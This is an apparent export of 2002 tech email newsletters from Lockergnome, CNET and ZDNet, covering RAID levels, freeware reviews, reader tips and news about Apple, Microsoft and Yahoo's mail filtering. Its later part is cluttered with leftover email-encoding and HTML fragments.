only an increase in storage capacity. Further, there's no marked increase in data access speed because you're accessing one drive in the RAID array at a time. RAID-0 ""stripes"" data across the RAID drives. Some data will be written to the first drive, some to the second, etc. Like Linear RAID, RAID-0 provides no redundancy. Because the data has been written in parallel across the drives, not all data exists on all drives. Lose a drive and your data is gone. RAID-0 will, however, decrease data access time. Your system will run more quickly. RAID-1, unlike Linear and RAID-0, _does_ provide data redundancy. This is the first level in which data is ""mirrored"" across the drives in the RAID array. All data that exists on one drive exists on all the others. RAID-1 requires at least two drives and they should be of equal size, otherwise, your overall RAID array will be the size of the smallest drive. Performance with RAID-1 can actually be slower than with a single drive or RAID-0, as all the data is written across multiple discs. RAID-4 is, for the most part, pretty useless. It reserves one disc for parity information while striping the data across the others. This is much like Linear mode, with an additional disc thrown in for parity data. Parity data _can_ be used to reconstruct and retrieve the data on the other drives, but this really isn't a redundant method of data storage. Consequently, RAID-4 is probably the least used of the RAID schemes. RAID-5 is designed for 3 or more discs and provides both redundancy and speed. Like RAID-4, RAID-5 pays close attention to parity data. However, rather than reserving a device in the RAID array for this data, it's written across the array. Because the parity data is written across the array, data recovery can be accomplished fairly quickly. In fact, using a ""spare disc"" configuration will allow RAID-5 to reconstruct the data to the spare disc immediately after the failure of a drive. Because of it's increased speed and redundancy, RAID-5 is probably the most common setup for multiple storage devices. With all that in mind, you'll need to make a choice in your kernel configuration. Do you have mutliple drives of the same size that you'd like to configure as a RAID array? The Multi-Device Support section of the kernel configuration will allow you to do this. In fact, you'll be able to set the RAID level, as well. Again, evaluate your needs and select the appropriate option. Tomorrow, it's on to networking options in your kernel configuration. Recommend It! Send us a GnomeCORE tip GnomeFILE --- **SaveMyModem** http://web.genie.it/utenti/g/gareuselesinge/smm/ ""SaveMyModem is an anti-spam, mail-shaping, and delete-on-server mail tool. It is designed for users with slow dialup connections, who are tired of downloading large amounts of spam and worm and virus attachments."" Recommend It! Send us a GnomeFILE suggestion GnomeVOICE --- **Windows Apps in Linux?** Scribbled by Robert Nix ""Nice coverage but I don't give a flip about Office. OpenOffice is fine for my needs. ""What I really want is to run Quicken (at least v.2001) which is the only app keeping me running Windows (using vmware). I've tried Quicken on Mac OS X and it is grossly inadequate and on Linux with Wine and have so far been unsuccessful even using tips from http://appdb.codeweavers.com/appview.php?appId=107. I hope that GnuCash will eventually support the online features I enjoy but that doesn't help now. ""The reason I'm writing this is that I personally think Office products are overrated for home users, at least now that there are several native alternatives. For home users, finance apps are the key issue now. Do a section on getting Quicken to run in Wine and I'll declare you a god. :)"" Recommend It! Speak your GnomeVOICE GnomeCLICK --- **Important Unix Manpages** http://home.ins.de/~m.hussmann/man/ Manpages are an important part of Linux use. Armed with the proper knowledge and manpage, there are few sticky situations in Linux that can't be solved quickly. Though they can be a bit cryptic at times, manpages are really a Linux newbie's best friend. Important Unix Manpages is a compilation of help for situations that actually have little to do with programming. They're more human interface problems than machine interface problems. This page just points out that if life was like Linux, we'd all be a lot happier. Recommend It! Suggest a GnomeCLICK | http://www.lockergnome.com/issues/penguinshell/20020716.html Your subscribed e-mail address is: [qqqqqqqqqq-lg@example.com] - To unsubscribe or change your delivery address, please visit the subscription management page. Use of the Gnome moniker by Penguin Shell does not imply endorsement of the Gnome Desktop Environment. Penguin Shell is an equal- opportunity desktop employer. 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Domain registered at DNS Central. ",0,1 Lockergnome Windows Daily ,qqqqqqqqqq-lg@example.com,"Thu, 18 Jul 2002 09:55:22 -0500",[Lockergnome Windows Daily] Sticker Courtesy,"![Lockergnome](http://images.lockergnome.com/images/gnomedaily.gif) ![See You at Gnomedex 2002!](http://www.lockergnome.com/images/ads/gnomedex2002banner.gif) --- | 07.18.2002 GnomeREPORT --- **GET WINDOWS XP TIPS:** Months after the release of Windows XP Professional and Home editions, people are still learning the nuances of Microsoft's newest operating system. Whether you've been using it for a while or are planning to upgrade to the new OS soon, this ebook is right up your alley. GET YOUR COPY of Lockergnome's Top 50 Windows XP tips now! --- I don't go to many concerts, but that doesn't mean I don't appreciate listening to good music at every waking moment. Tonight, a handful of Bay Gnomies and I watched They Might Be Giants rock the Fillmore. Melanie, Steve, Brent, Missy, Robert, Patrick, Gretchen, Matt, and Mindy had a total blast. Well, it wasn't much fun when Robert got his digital camera confiscated - but this was a show worthy of five megapixels (believe me)! Brent went to the show last night, and I saw them play on the set earlier this afternoon. They were selling a new CD (which had JUST been released the other day); ""They Got Lost"" is full of a few previously-unavailable tracks. If you aren't sure about purchasing it outright, I strongly urge you to sign up for a trial EMusic account and download a few of their songs in MP3 format. Oh, and check out the opening act: Noe Venable. She's got a few free MP3s on her site, too. Give ""Boots"" a shot - very nice. Does anybody know how to set a binary clock? Melanie got it for me as a gift (which was a very nice gesture). Sure, I could read the manual - but the ones and zeros start to look eerily similar after flipping past the first page. You know me: I'm not much of a math guy. In fact, I just discovered the other day that 'byte' was short for 'by eight' (even though I already knew that 'bit' represented 'binary digit'). I'd stick with a digital timepiece, but it just isn't geeky enough for me anymore. How sad is that? I'm ready to walk on the wild side. Maybe I'll get my laptop pierced tomorrow? It could happen. I've been known to do nutty things on a moment's notice, like changing my default Web browser. Courtesy of Asa Dotzler, I have an official Mozilla sticker, CD, and t-shirt (which you saw me model in my Webcam the other day). Don't be too jealous; Mozilla.org has plenty of goodies to go around. Looks as though Jake and Lori are already having a blast in St. Louis. They're at the Shareware Industry Conference, along with hundreds of well-known program programmers - the people who make our computers work the way we want them to work! We're doing our best to convince them to join us at Gnomedex. They ask: ""Who else is going to be there?"" We answer: ""People who don't know you yet."" They ask: ""Then why should I come?"" We answer: ""Because it's a business opportunity for you."" They ask: ""What if I don't want to learn anything or meet anybody?"" We answer: ""We can't really help you there, but here - have lunch on us."" They ask: ""Oh, the admission price includes food at at Gnomedex?"" We answer: ""We cannot provide every meal, but you won't go hungry."" They ask: ""So, why Des Moines, when there's nothing to do there."" We answer: ""You're 100% wrong. There *IS* something to do there: Gnomedex."" Get it? Got it? Good. See You in August, Chris Pirillo GnomeDOWNLOADS --- | | **Latest Downloads** --- VisiTrax Lite 2.91 mp3DirectCut 1.23 Cpick 2.6 Image Browser 4.4 EZ JavaScript 1.1 WinHTTrack 3.20RC5 Panda Quick Rem 3.2.1.0 EZBack-it-up 1.1 ArtSee 1.0 Soliton 2 Fresh Download 4.30 **GigAlarm v1.201 [33k] W9x/2k/XP FREE** http://users.bigpond.net.au/glina/GigAlarm.htm {String on your finger} Sometimes, I'm a bit like the absent-minded professor... I would forget my own head if it wasn't attached. So naturally, I appreciate any program that can help keep me on track, and with GigAlarm I can setup whatever reminders/alarms I need. However, sometimes a simple text message just won't catch my attention. Well, herein lies the beauty of GigAlarm... it doesn't just have to give you a text alarm! GigAlarm can play a WAV file (random, or your selection), change your background, start a program, or use one of the many Windows shutdown options. My wife has gotten in the habit of using the Shutdown option as an alarm to signal that I have spent too long on the computer. (Lucky for me, there is a snooze button!) NOTE: The author says, ""This program is essentially free to use for non-profit purposes... If you find this program useful I would appreciate $10 AUD (or $5 USD) as a token of your appreciation."" **Context Thumbview v1.0.b1 [107k] W9x/2K/XP FREE** http://contextmagic.netfirms.com/image-viewer/ {Peep show} I'm not always very patient, especially when it comes to my computer. Double-clicking on an image and waiting for it to come up in my image viewer is almost too much for me to handle. Lucky for me, Context Thumbview has made its way onto my system and I no longer have to wait to view an image. All I do now is right-click the image, choose ""View Thumbnail,"" and there is the image, out there for me to see... all without me having to open up any programs! ""As Express ThumbView is an Explorer extension, it is always ready and available for use. Moreover, it is available in any Explorer window, including Open and Save As... dialog boxes."" As an added bonus, with Context Thumbview installed on my system, I can also turn off the thumbnail view if I want to save system resources. Recommend It! GnomeCLICKS --- ![TECHNOLOGY can be frustrating for new and intermediate computer users, UNTIL NOW. Join us for a FREE Windows Newsletter, video tutorials, articles, special reports, and more!](http://www.lockergnome.com/images/ads/icon.hotwindowstip.gif) | ![The easiest way to Zip/UnZip. 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I don't think so! Starter isn't JUST another Startup Manager, it's a piece of programming art. One of my biggest problems with Windows Task Manager is that I don't know what all the processes on my machine are, or from where they are running. Starter not only gives me that information, but it also lets me save it as an HTML file. In addition, Starter lets me import and export registry keys or add a new task to be processed. Don't run all over your machine trying to find all the programs you need to control your PC, when you can do it all (and more!) with Starter. Recommend It! GnomeWILDCARD --- **Aversoft Sticker v3.55 [592k] W9x/2k/XP US$15** Unearthed by Sergei Lepyokhin http://www.aversoft.com/sticker/ {Sticky notes} Did you know that Post-it(r) Notes were invented by accident? I use to have these notes all over my monitor. Now my screen is clean as a whistle! Aversoft Sticker is a program to help you remember ""important information by displaying skinnable sticky notes on your Windows desktop."" No more bland notes for me! With Sticker, I am surrounded with pictures of paradise (downloaded from Aversoft's website). These great features are no accident. Sticker also has a transparency feature that makes the notes only half visible, making it much easier to use while working on your other programs. Don't walk away yet though... Sticker also allows you to print your notes, lock them from accidentally being deleted, and set an alarm (repeating or one-time). Speaking of alarms, mine just went off and opened up Outlook. Time to send out today's newsletter! Submit Your Thoughts | Recommend It! GnomeFAVORITE --- **CAREER SERVICES FROM LOCKERGNOME AND DICE.COM:** We've teamed up with Dice.com to bring you a full service I.T. career enhancement solution. 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GnomeTIP --- Gnomies are known for their willingness to help others and Alex Warren is no exception with a tip on copying text. Alex writes: ""Did you know that you can copy the contents of a message/dialog box just by pressing Ctrl+C?"" Alex also had this to say: ""When you select text and then use the mouse to drag it to a new location, the original text moves to the new location and disappears from the old location. However, you can select text and then use the right mouse button to drag it to a new location. When you do this, releasing the right mouse button opens a menu from which you can choose to move or copy the text (along with several other options)."" Those are some great time saving tips Alex! Following suit with using Ctrl + C to copy... you can also use Ctrl + X to cut and Ctrl + V to paste. You can also use all these tips on more then just text! The next time you need to copy some files on your PC, try the right-click and drag method and you will see what I mean... along with saving yourself some time. Recommend It! | http://www.lockergnome.com/issues/daily/20020718.html Your subscribed e-mail address is: [qqqqqqqqqq-lg@example.com] - To unsubscribe or change your delivery address, please visit the subscription management page. For further information, please refer to the GnomeCREDITS in the sidebar. --- | LOOK OVER HERE --- Download Our Tip Files Latest Windows Daily Latest Digital Media Latest Tech Specialist Latest Penguin Shell Latest Apple Core Latest Web Weekly Latest Bits & Bytes Find the Lowest Price Suggest a Feature Advertise With Us The GnomeSTORE High-Tech Job Search Chat With Gnomies Watch The Webcams Computer Power User Read Past Issues Download X-Setup About Lockergnome Our Privacy Policy View More Options Our XML / RSS Feed Syndicate Our Tips Link To Lockergnome Get Chris's Book Tell a Friend About Us! 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Bacteria acts more intelligent than human beings. ",0,1 Lockergnome Tech Specialist ,qqqqqqqqqq-lg@example.com,"Thu, 18 Jul 2002 10:16:49 -0500",[Lockergnome Tech Specialist] Friend Fry,"![10354](http://www.winnetmag.com/linkshare/banners/10354.gif)![](http://ad.linksynergy.com/fs- bin/show?id=vdKWfulJxTQ&bids=36698.10000263&type=4&subid=0) --- | 07.18.2002 GnomeREPORT --- **Keep your Web site working fast and smart with UltraDNS.** More reliable performance means more traffic, more sales, and more profits. Outsource your DNS management and save. Basic DNS for only $1.00 a month. Click here to find out more. --- I thought I baked my Dell PowerEdge 1400SC server yesterday when it refused to boot completely. I borrowed a data vac from a friend and decided to clean all of the dust and cat hair from my systems, then after reconnecting everything, the server would boot to the initial splash screen, where there is a POST progress bar, but would not proceed past past about the first 1/5th of the bar. Uh-oh. What did I fry? As it turns out, it was another case of ""always check the small stuff"". Oh, I had all of the cables plugged back in to the server properly, I checked all of that, but it didn't dawn on me until about a half dozen boot attempts later that I should probably turn an eye toward the other end of the cables. That server is connected to an 8-port Compaq KVM switch and with all of the yanking, plucking and shuffling, the keyboard cable had been eeked out of the switch just a tad. Why the server didn't display a keyboard warning message like every other computer on the planet, I can only attribute to the BIOS developers. Server Satchel, running Red Hat Linux 7.2 is now operating as it was previously. The penguin is happy. The server case is even black. How appropriate... See You in August, Randy Nieland GnomeNETWORK --- **Windows XP Security Checklist** Finely crafted by Bernie Klinder http://www.labmice.net/articles/winxpsecuritychecklist.htm With all of the security features crammed into Windows XP, where does one start? Do you need VPN capability? Is NTFS an appropriate file system choice for you? Is there any value at all in Simple File Sharing? After much hounding, Bernie Klinder has drawn up a healthy checklist of things you need to address under Windows XP in order to maintain a system that is both security and compatible with the rest of your computing world. GnomeSYSTEM --- **ATI Still Makes Video Cards?** http://www.anandtech.com/video/showdoc.html?i=1656 Say it isn't so! Yes, apparently they do still have something to say about NVIDIA's dominance in the video card market. Seeing as how they've been all but dumped by the majority of top-tier system makers, it's hard to believe that they are capable of a serious comeback. Judging from what AnandTech has to say about the forthcoming R300-based cards, it appears that they haven't thrown in the towel just yet. I'm all for competition, so I welcome the effective re- entrance into the high end market. Let's all hope that their driver development has improved as much as their hardware seems to have. **GET WINDOWS XP TIPS:** Months after the release of Windows XP Professional and Home editions, people are still learning the nuances of Microsoft's newest operating system. Whether you've been using it for a while or are planning to upgrade to the new OS soon, this ebook is right up your alley. GET YOUR COPY of Lockergnome's Top 50 Windows XP tips now! --- GnomeALERTZ --- **Today's Top 5 kbAlertz** * Q292108 - WD2002: GetSpellingSuggestions Method Does Not List Non-English Language Suggestions (Q292108) * Q290981 - WD2002: ""File Conversion Encoding"" Dialog Box Appears When You Open Text File (Q290981) * Q290969 - WD2002: Run-Time Error 5 When You Use Mid(), Left(), or Right() Function (Q290969) * Q290967 - WD2002: Cannot Place a Bullet in the Middle of a Sentence or Paragraph (Q290967) * Q201953 - WD2000: Macro to Find Automatic (Soft) Page Breaks (Q201953) Recommend It! GnomeASSISTANT --- **Technical Censorship** http://news.com.com/2100-1023-944315.html Odd. I liked that cup of Mocha (spelled M-O-C-H-A and I'll explain in a minute) I drank at Starbucks when Jake and I visited last week, but if I wanted to relay that to someone using a Yahoo email account, you might see an alternate word. Thus the additional hyphenated spelling just in case those of you using Yahoo to subscribe to Lockergnome actually received your issues and the word has been altered to suit their personal opinion of my choice in drinks. They've also had a terrible time interpretting our W3C standardized HTML lately, dropping in copious #message references throughout the text in their new Beta email client. So why the text replacement? It's another filtering technique to stop certain words that might relate to JavaScript functions. I guess I'll have to choose another beverage next time. Silly me. GnomeSTUFF --- **Yer Kidding... Really?** http://www.theregus.com/content/4/25629.html I'm all sorts of sarcastic today, aren't I? Those of us that have had to manage budgets are used to dealing with math in terms of hardware, software, maintenance and personnel costs. It's not really that difficult. It's certainly not hard to see that dropping a free version of Linux on a server with less hardware requirements just to do some file sharing, printing and maybe an Intranet page or three is far cheaper than using Windows. At very long last, Microsoft has admitted as much. Of course, they're quick to point out that they have much more to offer than Linux, which may indeed be true. But at the end of the day, when you compare donuts to donuts and like functions against one another, Linux is cheaper. For a shop of Windows-trained staff, dealing with Linux will certainly be a challenge, requiring additional training, suffer the odd blunder here and there, and be less forgiving when it comes to detailed configuration. On the same token, make a Linux whiz use Windows and see how quickly you'll be searching for a replacement. Cheap is in the budget of the beholder. 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No surprises, there. The options argument is not just about putting food on the table--make that _a lot_ of food, in some cases--but about the way the computer industry views itself. Tech companies believe they belong in a different category, say, from the likes of Coca Cola, Washington Post Co. and Bank One Corp.--all which recently decided to begin expensing stock options. Tech titans also served notice they will remember to support friends--and shun foes--in Washington next November. An empty threat? Perhaps, but consider this: in the last national election, the computer industry contributed more than $40 million (52 percent to Democrats, 46 percent to Republicans.) That was good for a seventh place ranking, according to the Center for Responsive Politics. Charlie Cooper, Executive Editor/Commentary ![](http://home.cnet.com/b.gif) ![](http://home.cnet.com/b.gif) --- **Why the options party is over** Transamerica Investment Management portfolio manager **Kenneth Broad** says it's easy to see why the tech industry is fighting so hard to keep options from being expensed: no one likes to lose a free lunch. **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **We can handle CEO cheats** The Bush administration has crafted its own proposals for dealing with excess and dishonesty in corporate life. Commerce Undersecretary **Phil Bond** , who spoke with CNET News.com, believes the President's plan is just the ticket to get executives to come clean. **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **Why free downloads help, not hurt** Recording artist **Janis Ian** throws down the gauntlet to the National Academy of Recording Arts & Sciences (home of the Grammy Awards) and the Recording Industry Association of America. Making the case for the salutary benefits of free digital downloads, she says the music industry is dancing to the wrong beat. **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **A CTO's worst nightmare** After the Sept. 11 terrorist attacks, anxious investors worried when the stock market's largest financial exchange would open again. New York Stock Exchange CTO **Roger Burkhardt** was on the job faster than a trader can say ""buy."" **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **Fact and fiction in the Web services debate** Sun versus Microsoft, Java versus .Net, McNealy versus Gates. Does it all really matter, Iona Technologies CEO **Barry Morris** asks, when it comes down to what users want. The future of Web services, Morris says, is being held hostage amid a fruitless debate over industry politics. **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **Rewiring the FBI for the 21st century** When it comes to the digital age, the FBI is stuck with tools left over from the old days. That's why the FBI is hoping for big things from its new CIO. **Darwin John** tells CNET News.com about his plans for revitalizing the Bureau's dated IT infrastructure. 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I've received more than 100 emails from readers volunteering a wide range of IT skills for charitable organizations. Linux users, Windows users, even a few Mac users are ready, willing and able to spend their own precious off time providing qualified technical skills for a good cause. I've also gotten more than two dozen suggestions for organizations that might be in need of such skills. And, I've seen some very interesting suggestions for names for our project. Feel free to click through on any of the above links to join the ever-growing bandwagon. Do me a favor, though. keep the subject lines intact. It's the only way your messages will filter and sort through my email system. It looks like Apple may have crossed a line of irritation with its users. According to this article on The Register, Apple has tacked a $100 annual fee on its previously free mac.com email service. It's also set the price for an OS 10.2 upgrade at $129. I won't question Apple's decision too much. Instead, it really proves how difficult things have become in the tech world in the past few years. Revenues, by and large, are still decreasing from the pie-in-the-sky late 90s and early 2000\. That's left companies to scramble for new sources of income, some of which were previously free. Even we at Lockergnome have felt the pinch in the past few years. Never fear, though. Chris has assured us that the newsletters will remain free. We have, however, begun to explore alternative income sources. On a brighter note, it looks like Mandrake has found a sweet spot. According to their most recent shareholder's report, the third quarter was the strongest in the company's history, with 1.6 million Euro (1.61 million US) in revenue. That doesn't put them in the black, though. According to MandrakeSoft, the strong quarter will only decrease operating losses. I have to wonder how much of this revenue was the result of the Mandrake Linux User's Club. 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And this software is no slouch; for home users and professionals on a Windows OS, it's one of the best audio editors around. If it can't do something you need to have done, then I bet it can't be done at all. Expect a full Lockergnome review from our Digital Media editor (Jake) at some point in the future. Until then, feel free to download the demo. If I can ever decide on a digital video camera, perhaps their Vegas Video will sit on my system, too. Melanie and I were talking about hardware options the other day. She's leaning towards a Canon, too. Unless I hear or see otherwise, the ZR45MC is at the top of my list. Still and low-light images aren't the best, but I'm not really up for spending much more than $1000. Neither is Gretchen, oddly enough. As much as I dislike the AOL client user interface, I gotta admit: it's pretty darn powerful underneath. For instance, you can ""unsend"" an e-mail message (but only if it was sent to another America Online member and s/he hasn't read it yet). If you travel often, the service is a bargain. If you know someone who just needs the Internet basics, it's perfect. One caveat: the software puts RealPlayer on your system without asking you first. I was a little upset when I discovered its icon sitting in my Start Menu. Nowhere during the installation process did I see a way to opt out of it. I'm not surprised; there are more advertisements on AOL than there are from your average ""free"" Web page host. You may have asked yourself: ""What is Chris doing installing AOL in the first place?!"" I don't blame you. No, hell did not freeze over. We've been doing tips for their users on our show lately, and I decided to throw it on my laptop for testing purposes. Perhaps 8.0 will be better? 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Another nice feature of this software is that you can import web addresses from a .txt file so that you don't have to enter each one individually. It's all about keeping up with thejoneses.com. **MB-Ruler v0.93 [441k] W9x/2k/XP FREE** http://www.markus-bader.de/MB-Ruler/ {Measure distance and angles} I was never very good in geometry... Pythagoras would be disappointed that I can never exactly remember his theorem. (What did a hippopotamus have to do with triangles anyway? That animal seems to be pretty round if you ask me...) Anyway, MB-Ruler is quite a useful little application, especially for anyone who has had to work with banners and graphics for the Web. You can measure angles in radians or degrees, and distances in inches, centimeters, twips, points or pixels. And if those weren't enough options, you can even set your own scale. Everything about MB- Ruler can be customized, including its size and color. Talk about an application that ""measures up!"" Recommend It! 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With Screen Mate Builder, you can make your very own animated screen mate from any animated GIF file. On top of that, you can add background music (MIDI files) and sound clips (WAV files) to your new desktop chum. Share your creation with friends and family: trust me, it's better that they know, and don't think you just have an imaginary friend. No programming experience required - just step through the wizard and out pops your very own screen mate. Can't beat those instant buddies! Submit Your Thoughts | Recommend It! ![TechTV's Computer Basics](http://www.lockergnome.com/lgstore/sunshop/images/productpics/computerbasics.jpg) **CHRIS TEACHES THE BASICS:** If you've got friends or family who want to learn more about their PC, from a guy who makes things nice and easy, check out the VHS release of Computer Basics in the GnomeSTORE. Chris teams with TechTV cohort, Kate Botello, to lead novices on a journey through their computer. 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The new iPod players include models built specifically for computers that u= se Microsoft's Windows operating system. Apple lowered the price of the exi= sting 5GB iPod and a redesigned 10GB model, which is thinner and comes with= a new case and remote control. Jobs also introduced a beefier 20GB iPod fo= r $499. The iPod stable now includes three models for Mac users and three m= odels for Windows users with MusicMatch software. As expected, Jobs introduced a new iMac model with a 17-inch flat-panel mon= itor. The model offers a widescreen display with 1,440-by-900-pixel resolut= ion versus 1,024-by-768-pixel resolution for the 15-inch iMac. Jobs also previewed the next version of Mac OS X, version 10.2, which will = be on store shelves Aug. 24 for $129. OS X 10.2 includes a new Finder with = improved search features, spring-loaded folders and the ability to change t= he background photo as often as every 5 seconds. But fans who rushed to OS X last year learned there's no such thing as a ch= eap upgrade when the company announced it will not offer a disc= ounted upgrade version of Mac OS X version 10.2, code-named Jaguar, to curr= ent users of the operating system. To get Jaguar, current OS X users will h= ave to buy a new Macintosh or an entirely new version of the operating syst= em for the retail price of $129. Apple's decision not to sell a less-expensive upgrade version lay in the qu= alitative difference between version 10.1 and 10.2. Although the versions s= hare the same core technology, Jaguar includes several new features and ser= vices, such as search tool Sherlock 3 and Internet address finder Rendezvou= s, which arguably classify it as an entirely new piece of software. Apple also raised eyebrows by transitioning its iTools Web serv= ices from a free program to a paid program called .Mac. The company plans t= o charge about $100 per year for the program. The collection of Web service= s was launched about three years ago, and now includes online storage via a= service called iDisk, online greeting cards through iCards and other featu= res. Despite iTool's popularity, the company may face a tough sell w= ith the .Mac program. The history of paid services, is not a pretty picture= . Customers have bristled when companies try to slap charges on previously = free services. Some have succeeded but many have struggled, especially when= free alternatives lurked elsewhere. In the early 1990s, Apple's efforts to= form online communities and popularize search engines failed magnificently= . To its advantage, Apple has presented a fairly coherent and tangible set of= services with .Mac. And although its software division is far more organiz= ed than it once was, it's unclear how overwhelming demand will be. However,= an online petition protesting the new charges doesn't bode wel= l for the program. **Microsoft's moves** Not one to be caught in anyone's shadow, Microsoft plans to offer a= rebate for its Office suite for Mac OS X to those who buy the software= bundle when they pick up a new Mac. The promotion entails a $50 mail-in re= bate for people buying a new Mac and upgrading to Office v. X, and $100 for= those buying a Mac and the full version of the software. The offers come after Microsoft revealed that sales of the software have no= t met its expectations. The software potentate had expected to sell 750,000= copies of Office v. X by now, but instead has sold only 300,000 since the = program went on sale last November. Microsoft is also putting the finishing touches on the third co= llection of Windows 2000 bug fixes, which is nearly ready for release after= a protracted period of testing. The update, Windows 2000 Service Pack 3, c= ontains vital security updates and hundreds of fixes to bugs plaguing the o= perating system that Microsoft released in February 2000. Service Pack 3 co= uld be important for many businesses, as not all of the included security f= ixes are available as separate downloads. Not everything will be available as a download, however. Weeks before Micro= soft plans to reinstate Java in Windows XP, it has shut down a = site that would automatically send its Java software to Windows XP users. T= he company closed the install-on-demand feature 30 days after it told Java = inventor Sun Microsystems it would reinstate Java in Windows XP through the= forthcoming Service Pack 1 but remove it altogether in 2004. **Somebody's watching you** You better watch what you write in Yahoo's free e-mail service--because Yah= oo is. To protect users from malicious code, Yahoo uses an automated filter= to swap out a handful of words such as ""mocha"" and ""eval"" that= pertain to Web code known as JavaScript. The reason is that e-mail sent in a form known as ""Web enhanced"" can contai= n JavaScript instructions able to run programs on the recipient's PC. JavaS= cript is a Web language that can issue commands such as telling the browser= to open up other windows or to prompt a service to change a password, for = example. ""Mocha"" is one of those special commands that can be run from Web-enhanced = e-mail. Typing ""mocha:"" into the location bar of the Netscape browser will = open a screen with a display area and a text box underneath, in which comma= nds can be entered. A malicious hacker could, for example, use the command = line to run a program that changes a person's password without that person'= s knowledge. On the heels of plans for new powers to patrol people's Web use, the U.S. g= overnment is again turning to technology to monitor suspicious acti= vity in the name of fighting terrorism. The government has unveiled mor= e details of its Terrorist Information and Prevention System (TIPS), a plan= to recruit volunteers across the country who will keep tabs on dubious or = suspicious behavior. ""The program will involve the millions of American workers who, in the dail= y course of their work, are in a unique position to see potentially unusual= or suspicious activity in public places,"" according to the TIPS Web site. = But the American Civil Liberties Union, one of several critics of the plan,= fears the proposal will encourage racial profiling and vigilantism, possib= ly leading to searches of private homes without a warrant. **Also of note** A handful of entrepreneurial technology companies are advancing tec= hniques once used haphazardly by record companies and Napster-haters, i= n ways that may be far more destructive to the credibility of file-swapping= networks than were previous efforts...Apple released the final= version of its QuickTime 6 digital media software, marking a stand-down in= a dispute over licensing fees...The Federal Trade Commission is pl= anning to take a deeper look at whether some state laws illegally restr= ict Internet commerce...In one of the toughest sentences for online auction= fraud, a Virginia man was sentenced to 12 years in prison fo= r defrauding hundreds of shoppers on eBay and Yahoo auction sites...The Hou= se of Representatives overwhelmingly approved a bill that would allow for <= a href=3D""http://clickthru.online.com/Click?q=3D3c-tK4RIcIw_GtL-2JY0VXXjhrH= NHdR"" >life prison sentences for malicious computer hackers...MPEG LA, = a group of patent holders governing MPEG-4, finalized licensing ter= ms for the media delivery standard, bowing to market pressure for manag= eable royalty rates...Several tech and telecommunications giants are considering a joint venture to pepper the United States with wireless= ""hot spots."" _Want more? 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Find out with CNET's Memory Configurator.** = ![](3D""http://www.zdnet.com/graphics/clear.gif"") =20 =20 **= Tech Update: Put a lid on CRM costs with self-service.** <= img src=3D""http://www.zdnet.com/graphics/clear.gif"" width=3D""1"" height=3D""6= ""> =20 =20 **= Check out thousands of IT job listings in ZDNet's Career Center.** = ![](3D""http://www.zdnet.com/graphics/clear.gif"") | ![](3D""http://www.zdnet.com/grap=) = ---|---|--- =20 ![3D=](3D""http://www.zdnet.com=) ![](3D""http://www.zdnet.com/b.gif"") | ![](3D""http://www.zdnet.com/b.gif"") | ![](3D""http://www.zdnet.com/b.gif"") | | ![3D""""](3D""http://www.zdnet.com/gra=) | =20 ![](3D""http://www.zdnet.com/graphics/anchordes=) MON JUL 22, 2002 = =20 ![](3D""http://www.zdnet.com/graphics/anchordes=) =20 =20 =20 | ![3D""David](3D""http://www.zdnet.com/graphics/anchordesk/fr=) --- =20 ** David Coursey** | ![](3D""http://www.zdnet.com/graphics/anchordesk/fr=) ---|--- ![](3D""http://www.zdnet.co=) --- ![](3D""http://www.zdnet.com/graphics/anchordes=) **How Microsoft plans to take ove= r your living room** ![](3D""http://www.zdnet.com/graph=) MS's upcoming Windows XP Media Center Edition does more tha= n add a personal video recorder and a new interface to the OS. It could be = the opening salvo in the company's bid to control home entertainment. Let m= e explain. =20 =20 **PLUS: AnchorDesk Radio: How to fight the World W= ide Wait** ![](3D""http://www.zdnet.com/graphics/anchordesk/f=) ![3D""""](3D""http://www.zdnet.com/grap=) | ![3D""""](3D""http:=) | ![3D""""](3D""http:=) | ![3D""""](3D""http://www.zdnet.com/graphics/a=)= ![3D""More](3D""http://www.zdnet.com/graphics/anchordesk/frontpage/header2_mo=) =20 Gates tells all... Cheap PCs from Gateway... Sony's tiny di= gicam =20 =20 Wanna speed up your dial-up Web surfing? Here's how =20 =20 =20 Hey thief! You just TRY stealing this notebook =20 =20 What's new in reviews: The latest eMac--and more =20 ![](3D""http://www.zdnet.com/graphics/anchordesk/front=) | ![3D""""](3D""http:=) =20 =20 ![](3D""http://www.zdnet.com/graphics/anchordesk/=)**Crucial Clicks: More from ZDnet | ![](3D""http://www.zdnet.co=) | ![](3D""http://www.zdnet.com/graphics/anchordesk/frontpag=) | ![](3D""http=)= | ![](3D""http://www.zdn=) = | **Networking** ![](3D""http://www.zdnet.com/grap=) ---|--- = ![3D""""](3D""http://=) | <= img src=3D""http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif"" height= =3D1 width=3D5> | **An all-purpose WiF= i router** Need a router for your wireless network? ZDNet= reviewers say the AirPlus DI-614+ offers good speed performance, ease of u= se, and exceptional security. ![](3D""http://www.zdnet.com/graphics/anchordesk/frontpa=) ![=3D""""](3D""http://techupdate.zdnet.co=)Read review ![](3D""http://www.zdnet.com/graphics/anchordesk/frontpage=) | | ![](=3D""http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif"")Most Popular Products = ![3D""""](3D""http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif"") | ![3D""""](3D""http://www.zdnet.com/=) **Networking** ![=3D""""](3D""http://www.=) **1**. Linksys EtherFast wireless AP ![](3D""http://www=) **2**. Linksys EtherFast router ![3D=](3D""http://www.zdn=) **3**. Siemens SpeedStream router ![3D""""](3D""http://www.zdnet.co=) **4**. NetGear HE102 802.11a wireless AP ![3D""""](3D""http://www.zdnet.co=) **5**. Netgear RP614 ![3D""""](3D""http://www.zdnet.com/graphics/ancho=) ![3D""""](3D""http://techupdate.zdnet.com/techupdate/i/arrow_bl=)**More p= opular networking products** ![](3D""http://www=) | ![](=3D""http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif"") ![](=3D""http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif"") =20 =20 =20 =20 =20 ![3D""News](3D""http://www.zdnet.co=) | ** SYLVIA CARR** | ![](3D""http://www.zdnet.com/graphics/anchordesk/fr=) ---|--- ![](3D""http://www.zdnet.co=) --- ![3D""SYLVIA](3D""http://www.zdnet.com/graphics/anchordesk/fr=) | | ![](3D""http://www.zdnet.com/graphics/anchordesk/fr=) **Gate= 